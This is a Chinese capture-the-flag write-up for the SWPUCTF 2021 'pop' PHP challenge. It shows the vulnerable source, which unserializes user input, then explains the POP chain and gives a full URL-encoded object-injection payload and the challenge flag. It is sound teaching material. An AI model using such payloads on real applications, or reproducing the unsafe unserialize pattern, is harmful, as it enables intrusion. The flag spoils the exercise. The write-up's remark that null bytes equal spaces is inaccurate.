[SWPUCTF 2021 新生赛]pop

发布时间 2023-07-28 20:08:52作者: y0Zero

[SWPUCTF 2021 新生赛]pop

题目来源:nssctf

题目类型:web

涉及考点:PHP反序列化、pop链

1. 上来先做代码审计

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

有关PHP反序列化和pop链的知识点详见href(待补充)

题目要求GET传入w00m,并进行反序列化操作

我们先一个一个类进行分析:

  • w44m类:

如果变量前是protected,则会在变量名前加上\x00*\x00,

若是private,则会在变量名前加上\x00类名\x00,输出时一般需要url编码

我们最终的目标就是调用w44m类中的Getflag方法

  • w22m类:

当类销毁时会输出$this->w00m

  • w33m类:

当w33m类的对象被当做字符串使用时,触发__toString()方法

需要注意类中的wxxm变量与wxxm类不要混淆

2. 尝试构造payload

首先我们构造POP链:

  • 在w44m类中的Getflag作为尾部
  • w33m类中有$this->w00m->{$this->w22m}();,因此我们需要给w00m一个w44m类,给w22m一个Getflag字符串
  • 而如何调用w33m类中的__toString()方法呢,我们看到w22m类中有echo $this->w00m;,需要给w00m一个w33m类即可

综上,POP链:

w22m::__destruct()->w33m::__toString()->w44m::Getflag()

在线php构造序列化字符串如下:

其中未显示的字符为\x00,即空格

对其url编码,构造payload如下:

/?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

得到flag:

NSSCTF{6e9fe138-692e-4f61-8847-beb420f2b5dc}

日期:2023.7.28

作者:y0Zero